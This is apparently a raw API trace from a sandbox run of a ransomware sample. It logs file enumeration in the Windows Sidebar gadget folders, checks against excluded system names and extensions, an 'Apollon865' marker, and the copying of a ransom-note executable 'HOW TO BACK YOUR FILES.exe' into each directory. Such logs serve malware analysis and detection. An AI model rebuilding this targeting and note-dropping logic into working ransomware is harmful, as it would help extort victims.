	[0060.886] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="in_sidebar" | out: lpString1="in_sidebar") returned="in_sidebar"
	[0060.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0060.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599450
	[0060.886] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc70
	[0060.886] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1
	[0060.886] lstrcmpiW (lpString1="next_down.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.886] lstrcmpiW (lpString1="next_down.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2=".") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="..") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="windows") returned -1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="bootmgr") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="temp") returned -1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="pagefile.sys") returned -1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="boot") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="ids.txt") returned 1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="ntuser.dat") returned -1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="perflogs") returned -1
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2="MSBuild") returned 1
	[0060.887] lstrlenW (lpString="next_down.png") returned 13
	[0060.887] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned 75
	[0060.887] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="next_down.png" | out: lpString1="next_down.png") returned="next_down.png"
	[0060.887] lstrlenW (lpString="next_down.png") returned 13
	[0060.887] lstrlenW (lpString="Apollon865") returned 10
	[0060.887] lstrcmpiW (lpString1="t_down.png", lpString2="Apollon865") returned 1
	[0060.887] lstrlenW (lpString=".dll") returned 4
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2=".dll") returned 1
	[0060.887] lstrlenW (lpString=".lnk") returned 4
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2=".lnk") returned 1
	[0060.887] lstrlenW (lpString=".ini") returned 4
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2=".ini") returned 1
	[0060.887] lstrlenW (lpString=".sys") returned 4
	[0060.887] lstrcmpiW (lpString1="next_down.png", lpString2=".sys") returned 1
	[0060.888] lstrlenW (lpString="next_down.png") returned 13
	[0060.888] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="next_hov.png" | out: lpString1="next_hov.png") returned="next_hov.png"
	[0060.888] lstrlenW (lpString="next_hov.png") returned 12
	[0060.888] lstrlenW (lpString="Apollon865") returned 10
	[0060.888] lstrcmpiW (lpString1="xt_hov.png", lpString2="Apollon865") returned 1
	[0060.888] lstrlenW (lpString=".dll") returned 4
	[0060.888] lstrcmpiW (lpString1="next_hov.png", lpString2=".dll") returned 1
	[0060.888] lstrlenW (lpString=".lnk") returned 4
	[0060.888] lstrcmpiW (lpString1="next_hov.png", lpString2=".lnk") returned 1
	[0060.888] lstrlenW (lpString=".ini") returned 4
	[0060.889] lstrcmpiW (lpString1="next_hov.png", lpString2=".ini") returned 1
	[0060.889] lstrlenW (lpString=".sys") returned 4
	[0060.889] lstrcmpiW (lpString1="next_hov.png", lpString2=".sys") returned 1
	[0060.889] lstrlenW (lpString="next_hov.png") returned 12
	[0060.889] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="next_rest.png" | out: lpString1="next_rest.png") returned="next_rest.png"
	[0060.889] lstrlenW (lpString="next_rest.png") returned 13
	[0060.889] lstrlenW (lpString="Apollon865") returned 10
	[0060.889] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0060.889] lstrlenW (lpString=".dll") returned 4
	[0060.889] lstrcmpiW (lpString1="next_rest.png", lpString2=".dll") returned 1
	[0060.889] lstrlenW (lpString=".lnk") returned 4
	[0060.889] lstrcmpiW (lpString1="next_rest.png", lpString2=".lnk") returned 1
	[0060.889] lstrlenW (lpString=".ini") returned 4
	[0060.889] lstrcmpiW (lpString1="next_rest.png", lpString2=".ini") returned 1
	[0060.889] lstrlenW (lpString=".sys") returned 4
	[0060.889] lstrcmpiW (lpString1="next_rest.png", lpString2=".sys") returned 1
	[0060.889] lstrlenW (lpString="next_rest.png") returned 13
	[0060.889] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="on_desktop" | out: lpString1="on_desktop") returned="on_desktop"
	[0060.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0060.889] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5994f0
	[0060.889] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fd70
	[0060.889] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2=".") returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="..") returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="windows") returned -1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="bootmgr") returned 1
	[0060.889] lstrcmpiW (lpString1="pause_down.png", lpString2="temp") returned -1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="pagefile.sys") returned 1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="boot") returned 1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="ids.txt") returned 1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="ntuser.dat") returned 1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="perflogs") returned -1
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2="MSBuild") returned 1
	[0060.890] lstrlenW (lpString="pause_down.png") returned 14
	[0060.890] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned 75
	[0060.890] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="pause_down.png" | out: lpString1="pause_down.png") returned="pause_down.png"
	[0060.890] lstrlenW (lpString="pause_down.png") returned 14
	[0060.890] lstrlenW (lpString="Apollon865") returned 10
	[0060.890] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0060.890] lstrlenW (lpString=".dll") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2=".dll") returned 1
	[0060.890] lstrlenW (lpString=".lnk") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2=".lnk") returned 1
	[0060.890] lstrlenW (lpString=".ini") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2=".ini") returned 1
	[0060.890] lstrlenW (lpString=".sys") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_down.png", lpString2=".sys") returned 1
	[0060.890] lstrlenW (lpString="pause_down.png") returned 14
	[0060.890] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="pause_hov.png" | out: lpString1="pause_hov.png") returned="pause_hov.png"
	[0060.890] lstrlenW (lpString="pause_hov.png") returned 13
	[0060.890] lstrlenW (lpString="Apollon865") returned 10
	[0060.890] lstrcmpiW (lpString1="se_hov.png", lpString2="Apollon865") returned 1
	[0060.890] lstrlenW (lpString=".dll") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_hov.png", lpString2=".dll") returned 1
	[0060.890] lstrlenW (lpString=".lnk") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_hov.png", lpString2=".lnk") returned 1
	[0060.890] lstrlenW (lpString=".ini") returned 4
	[0060.890] lstrcmpiW (lpString1="pause_hov.png", lpString2=".ini") returned 1
	[0060.891] lstrlenW (lpString=".sys") returned 4
	[0060.891] lstrcmpiW (lpString1="pause_hov.png", lpString2=".sys") returned 1
	[0060.891] lstrlenW (lpString="pause_hov.png") returned 13
	[0060.891] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="pause_rest.png" | out: lpString1="pause_rest.png") returned="pause_rest.png"
	[0060.891] lstrlenW (lpString="pause_rest.png") returned 14
	[0060.891] lstrlenW (lpString="Apollon865") returned 10
	[0060.891] lstrcmpiW (lpString1="e_rest.png", lpString2="Apollon865") returned 1
	[0060.891] lstrlenW (lpString=".dll") returned 4
	[0060.891] lstrcmpiW (lpString1="pause_rest.png", lpString2=".dll") returned 1
	[0060.891] lstrlenW (lpString=".lnk") returned 4
	[0060.891] lstrcmpiW (lpString1="pause_rest.png", lpString2=".lnk") returned 1
	[0060.891] lstrlenW (lpString=".ini") returned 4
	[0060.891] lstrcmpiW (lpString1="pause_rest.png", lpString2=".ini") returned 1
	[0060.891] lstrlenW (lpString=".sys") returned 4
	[0060.891] lstrcmpiW (lpString1="pause_rest.png", lpString2=".sys") returned 1
	[0060.891] lstrlenW (lpString="pause_rest.png") returned 14
	[0060.891] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="play_down.png" | out: lpString1="play_down.png") returned="play_down.png"
	[0060.891] lstrlenW (lpString="play_down.png") returned 13
	[0060.891] lstrlenW (lpString="Apollon865") returned 10
	[0060.891] lstrcmpiW (lpString1="y_down.png", lpString2="Apollon865") returned 1
	[0060.891] lstrlenW (lpString=".dll") returned 4
	[0060.891] lstrcmpiW (lpString1="play_down.png", lpString2=".dll") returned 1
	[0060.891] lstrlenW (lpString=".lnk") returned 4
	[0060.891] lstrcmpiW (lpString1="play_down.png", lpString2=".lnk") returned 1
	[0060.891] lstrlenW (lpString=".ini") returned 4
	[0060.891] lstrcmpiW (lpString1="play_down.png", lpString2=".ini") returned 1
	[0060.891] lstrlenW (lpString=".sys") returned 4
	[0060.891] lstrcmpiW (lpString1="play_down.png", lpString2=".sys") returned 1
	[0060.891] lstrlenW (lpString="play_down.png") returned 13
	[0060.892] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="play_hov.png" | out: lpString1="play_hov.png") returned="play_hov.png"
	[0060.892] lstrlenW (lpString="play_hov.png") returned 12
	[0060.892] lstrlenW (lpString="Apollon865") returned 10
	[0060.892] lstrcmpiW (lpString1="ay_hov.png", lpString2="Apollon865") returned 1
	[0060.892] lstrlenW (lpString=".dll") returned 4
	[0060.892] lstrcmpiW (lpString1="play_hov.png", lpString2=".dll") returned 1
	[0060.892] lstrlenW (lpString=".lnk") returned 4
	[0060.892] lstrcmpiW (lpString1="play_hov.png", lpString2=".lnk") returned 1
	[0060.892] lstrlenW (lpString=".ini") returned 4
	[0060.892] lstrcmpiW (lpString1="play_hov.png", lpString2=".ini") returned 1
	[0060.892] lstrlenW (lpString=".sys") returned 4
	[0060.892] lstrcmpiW (lpString1="play_hov.png", lpString2=".sys") returned 1
	[0060.892] lstrlenW (lpString="play_hov.png") returned 12
	[0060.892] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="play_rest.png" | out: lpString1="play_rest.png") returned="play_rest.png"
	[0060.892] lstrlenW (lpString="play_rest.png") returned 13
	[0060.892] lstrlenW (lpString="Apollon865") returned 10
	[0060.892] lstrcmpiW (lpString1="y_rest.png", lpString2="Apollon865") returned 1
	[0060.892] lstrlenW (lpString=".dll") returned 4
	[0060.892] lstrcmpiW (lpString1="play_rest.png", lpString2=".dll") returned 1
	[0060.892] lstrlenW (lpString=".lnk") returned 4
	[0060.892] lstrcmpiW (lpString1="play_rest.png", lpString2=".lnk") returned 1
	[0060.892] lstrlenW (lpString=".ini") returned 4
	[0060.892] lstrcmpiW (lpString1="play_rest.png", lpString2=".ini") returned 1
	[0060.892] lstrlenW (lpString=".sys") returned 4
	[0060.892] lstrcmpiW (lpString1="play_rest.png", lpString2=".sys") returned 1
	[0060.892] lstrlenW (lpString="play_rest.png") returned 13
	[0060.892] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="prev_down.png" | out: lpString1="prev_down.png") returned="prev_down.png"
	[0060.892] lstrlenW (lpString="prev_down.png") returned 13
	[0060.892] lstrlenW (lpString="Apollon865") returned 10
	[0060.892] lstrcmpiW (lpString1="v_down.png", lpString2="Apollon865") returned 1
	[0060.893] lstrlenW (lpString=".dll") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_down.png", lpString2=".dll") returned 1
	[0060.893] lstrlenW (lpString=".lnk") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_down.png", lpString2=".lnk") returned 1
	[0060.893] lstrlenW (lpString=".ini") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_down.png", lpString2=".ini") returned 1
	[0060.893] lstrlenW (lpString=".sys") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_down.png", lpString2=".sys") returned 1
	[0060.893] lstrlenW (lpString="prev_down.png") returned 13
	[0060.893] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="prev_hov.png" | out: lpString1="prev_hov.png") returned="prev_hov.png"
	[0060.893] lstrlenW (lpString="prev_hov.png") returned 12
	[0060.893] lstrlenW (lpString="Apollon865") returned 10
	[0060.893] lstrcmpiW (lpString1="ev_hov.png", lpString2="Apollon865") returned 1
	[0060.893] lstrlenW (lpString=".dll") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_hov.png", lpString2=".dll") returned 1
	[0060.893] lstrlenW (lpString=".lnk") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_hov.png", lpString2=".lnk") returned 1
	[0060.893] lstrlenW (lpString=".ini") returned 4
	[0060.893] lstrcmpiW (lpString1="prev_hov.png", lpString2=".ini") returned 1
	[0060.893] lstrlenW (lpString=".sys") returned 4
	[0060.894] lstrcmpiW (lpString1="prev_hov.png", lpString2=".sys") returned 1
	[0060.894] lstrlenW (lpString="prev_hov.png") returned 12
	[0060.894] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="prev_rest.png" | out: lpString1="prev_rest.png") returned="prev_rest.png"
	[0060.894] lstrlenW (lpString="prev_rest.png") returned 13
	[0060.894] lstrlenW (lpString="Apollon865") returned 10
	[0060.894] lstrcmpiW (lpString1="v_rest.png", lpString2="Apollon865") returned 1
	[0060.894] lstrlenW (lpString=".dll") returned 4
	[0060.894] lstrcmpiW (lpString1="prev_rest.png", lpString2=".dll") returned 1
	[0060.894] lstrlenW (lpString=".lnk") returned 4
	[0060.894] lstrcmpiW (lpString1="prev_rest.png", lpString2=".lnk") returned 1
	[0060.894] lstrlenW (lpString=".ini") returned 4
	[0060.894] lstrcmpiW (lpString1="prev_rest.png", lpString2=".ini") returned 1
	[0060.894] lstrlenW (lpString=".sys") returned 4
	[0060.894] lstrcmpiW (lpString1="prev_rest.png", lpString2=".sys") returned 1
	[0060.894] lstrlenW (lpString="prev_rest.png") returned 13
	[0060.894] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="reveal_down.png" | out: lpString1="reveal_down.png") returned="reveal_down.png"
	[0060.894] lstrlenW (lpString="reveal_down.png") returned 15
	[0060.894] lstrlenW (lpString="Apollon865") returned 10
	[0060.894] lstrcmpiW (lpString1="l_down.png", lpString2="Apollon865") returned 1
	[0060.894] lstrlenW (lpString=".dll") returned 4
	[0060.894] lstrcmpiW (lpString1="reveal_down.png", lpString2=".dll") returned 1
	[0060.894] lstrlenW (lpString=".lnk") returned 4
	[0060.894] lstrcmpiW (lpString1="reveal_down.png", lpString2=".lnk") returned 1
	[0060.894] lstrlenW (lpString=".ini") returned 4
	[0060.894] lstrcmpiW (lpString1="reveal_down.png", lpString2=".ini") returned 1
	[0060.894] lstrlenW (lpString=".sys") returned 4
	[0060.894] lstrcmpiW (lpString1="reveal_down.png", lpString2=".sys") returned 1
	[0060.894] lstrlenW (lpString="reveal_down.png") returned 15
	[0060.894] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="reveal_hov.png" | out: lpString1="reveal_hov.png") returned="reveal_hov.png"
	[0060.895] lstrlenW (lpString="reveal_hov.png") returned 14
	[0060.895] lstrlenW (lpString="Apollon865") returned 10
	[0060.895] lstrcmpiW (lpString1="al_hov.png", lpString2="Apollon865") returned -1
	[0060.895] lstrlenW (lpString=".dll") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_hov.png", lpString2=".dll") returned 1
	[0060.895] lstrlenW (lpString=".lnk") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_hov.png", lpString2=".lnk") returned 1
	[0060.895] lstrlenW (lpString=".ini") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_hov.png", lpString2=".ini") returned 1
	[0060.895] lstrlenW (lpString=".sys") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_hov.png", lpString2=".sys") returned 1
	[0060.895] lstrlenW (lpString="reveal_hov.png") returned 14
	[0060.895] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="reveal_rest.png" | out: lpString1="reveal_rest.png") returned="reveal_rest.png"
	[0060.895] lstrlenW (lpString="reveal_rest.png") returned 15
	[0060.895] lstrlenW (lpString="Apollon865") returned 10
	[0060.895] lstrcmpiW (lpString1="l_rest.png", lpString2="Apollon865") returned 1
	[0060.895] lstrlenW (lpString=".dll") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_rest.png", lpString2=".dll") returned 1
	[0060.895] lstrlenW (lpString=".lnk") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_rest.png", lpString2=".lnk") returned 1
	[0060.895] lstrlenW (lpString=".ini") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_rest.png", lpString2=".ini") returned 1
	[0060.895] lstrlenW (lpString=".sys") returned 4
	[0060.895] lstrcmpiW (lpString1="reveal_rest.png", lpString2=".sys") returned 1
	[0060.895] lstrlenW (lpString="reveal_rest.png") returned 15
	[0060.895] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Tulip.jpg" | out: lpString1="Tulip.jpg") returned="Tulip.jpg"
	[0060.895] lstrlenW (lpString="Tulip.jpg") returned 9
	[0060.895] lstrlenW (lpString="Apollon865") returned 10
	[0060.895] lstrlenW (lpString=".dll") returned 4
	[0060.896] lstrcmpiW (lpString1="Tulip.jpg", lpString2=".dll") returned 1
	[0060.896] lstrlenW (lpString=".lnk") returned 4
	[0060.896] lstrcmpiW (lpString1="Tulip.jpg", lpString2=".lnk") returned 1
	[0060.896] lstrlenW (lpString=".ini") returned 4
	[0060.896] lstrcmpiW (lpString1="Tulip.jpg", lpString2=".ini") returned 1
	[0060.896] lstrlenW (lpString=".sys") returned 4
	[0060.896] lstrcmpiW (lpString1="Tulip.jpg", lpString2=".sys") returned 1
	[0060.896] lstrlenW (lpString="Tulip.jpg") returned 9
	[0060.896] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop"
	[0060.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0060.896] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0060.896] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned 75
	[0060.896] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop"
	[0060.896] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.900] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.900] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5e8a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5e8a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.900] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.900] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.900] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.900] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c5e8a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c5e8a90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.900] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.900] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.900] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.900] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.900] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5e8a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c5e8a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.900] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.900] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="Apollon865.txt.exe") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="..") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="windows") returned -1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="bootmgr") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="temp") returned -1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="pagefile.sys") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ids.txt") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntuser.dat") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="perflogs") returned 1
	[0060.900] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="MSBuild") returned 1
	[0060.901] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0060.901] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*") returned 77
	[0060.901] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="slideshow_glass_frame.png" | out: lpString1="slideshow_glass_frame.png") returned="slideshow_glass_frame.png"
	[0060.901] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0060.901] lstrlenW (lpString="Apollon865") returned 10
	[0060.901] lstrcmpiW (lpString1="_frame.png", lpString2="Apollon865") returned -1
	[0060.901] lstrlenW (lpString=".dll") returned 4
	[0060.901] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".dll") returned 1
	[0060.901] lstrlenW (lpString=".lnk") returned 4
	[0060.901] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".lnk") returned 1
	[0060.901] lstrlenW (lpString=".ini") returned 4
	[0060.901] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".ini") returned 1
	[0060.901] lstrlenW (lpString=".sys") returned 4
	[0060.901] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".sys") returned 1
	[0060.901] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0060.901] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar"
	[0060.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0060.901] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.901] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned 75
	[0060.901] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar"
	[0060.901] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
